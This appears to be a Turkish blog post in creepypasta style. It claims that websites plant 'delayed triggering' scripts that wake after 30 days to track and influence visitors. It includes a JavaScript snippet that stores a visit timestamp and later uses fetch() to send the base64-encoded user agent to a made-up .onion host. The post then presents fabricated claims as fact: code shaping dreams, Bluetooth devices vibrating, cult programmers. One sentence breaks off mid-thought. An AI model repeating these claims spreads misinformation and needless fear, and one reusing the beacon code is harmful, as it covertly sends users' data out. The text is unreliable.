O siteye sadece bir kez girdin. Belki bir blog yazısı okumak istedin. Belki bir oyun, bir test, bir meditasyon videosu... Ne fark eder ki? Tarayıcıyı kapattın. O siteyi unuttun.
O ise seni unutmadı.
30 Gün Sonra Devreye Giren Kodlar
İnternet dünyasında genellikle cookie dediğimiz şeyler birkaç gün sonra silinir. Ama bazı siteler seni planlı bir zamanlayıcıyla takip eder. Özellikle bazı karanlık yapılandırmalar, Delayed Triggering Script dediğimiz bir sistemi kullanır.
Bu sistem, senin davranışını analiz eder, seni tanımlar ve sonra beklemeye geçer.
Kod oradadır. Ama çalışmaz. Henüz.
Nasıl Çalışıyorlar?
Görünürde hiçbir şey yok. Ama aşağıdaki gibi bir mantıkla hazırlanmış bir kod bile yeterlidir:
const visitTime = localStorage.getItem('visitTime');
const now = new Date().getTime();
if (!visitTime) {
localStorage.setItem('visitTime', now);
} else if (now - visitTime > 2592000000) {
// 30 gün geçtiyse
fetch('https://yourlifescript.onion/trigger?id=' + btoa(navigator.userAgent));
}
Ne oldu burada?
- Kullanıcının siteye ilk giriş tarihi tarayıcıda saklandı.
- 30 gün sonra tekrar girdiğinde arka planda başka bir sunucuyla iletişim kuruldu.
- Bu, sadece dijital değil; psikolojik ya da fiziki etkiler yaratmak için de kullanılabilir.
Gerçek Hayata Müdahale Ne Demek?
Bu noktada Müdahale kelimesi soyut kalmasın. Kastedilenler şunlar:
| Müdahale Türü | Olası Etki | Yöntem |
|---|---|---|
| Psikolojik Geri Bildirim | Rüyalarda benzer kelimeler, imgeler | İlk girişte toplanan veriye göre subliminal reklamlar |
| Fiziksel Uyarım | Bluetooth cihazlarda titreşim, ses | Bağlı cihazlara dış bağlantı tetikleyici kodlar |
| Sosyal Çevre Etkisi | 30 gün sonra yakın çevrede aynı içeriğin dolaşması | Verilerin 3. parti sunuculara satışı |
| Davranışsal Tetikleme | Bir yerden tanıdık geliyor hissi | 30 gün önce gösterilen imgelerin tekrar sunulması |
Bu Kodları Kim Yazıyor?
İşin en karanlık tarafı burası. Bu sistemler sıradan web geliştiricileri tarafından değil, genellikle şu gruplar tarafından kullanılıyor:
- Deneysel bilinç mühendisleri
- Kült yapıları dijital inanç tarikatları
- BlackHat psikoteknoloji araştırmacıları
- Kendini Tanrı Sanan Kodcular
Bunlar için bir kullanıcı sadece ziyaretçi değil; bir denektir.
30 Gün Neden Önemli?
Psikolojide alışkanlık kalıbının yeniden başlama süresi genellikle 21 ila 30 gün arasıdır. Bu sistemler, insan beyninin yeniden
Yani senin savunman düştüğünde, zihin meşgul olduğunda, dış tetikleyicilere en açık hâlinde... kod çalışır.
Peki Gerçekten Oluyor mu Bu?
Redditin bazı r/digitalmystery başlıklarında, şu cümleler oldukça yaygın:
30 gün önce girdiğim sitedeki görsel, dün rüyamda çıktı.
Aynı adamı sokakta gördüm. Sitedekiyle aynıydı.
Sesin kaynağını hatırlamıyorum ama o siteden geldiğini biliyordum.
Delilik? Belki. Ya da sadece... çok iyi yazılmış kodlar.
Kendini Nasıl Koruyabilirsin?
- Tarayıcı çerezlerini sadece silmek yetmez, localStorage verilerini de temizle.
- Bir siteye ilk girdiğin zamanı hatırla. Bir takvime not al. 30 gün sonra bir şey olursa, bil.
- Uçtan uca VPN + Tor ile eriştiğin her şeyi yalıtılmış bir sanal makinede dene.
- Koddan korkma ama algını açık tut.
Unutma: Kod hemen çalışmaz. O sabırlıdır. Ama bir kere seni etiketlediyse, zamanı geldiğinde kapını çalabilir. Belki dijital olarak... belki de daha farklı.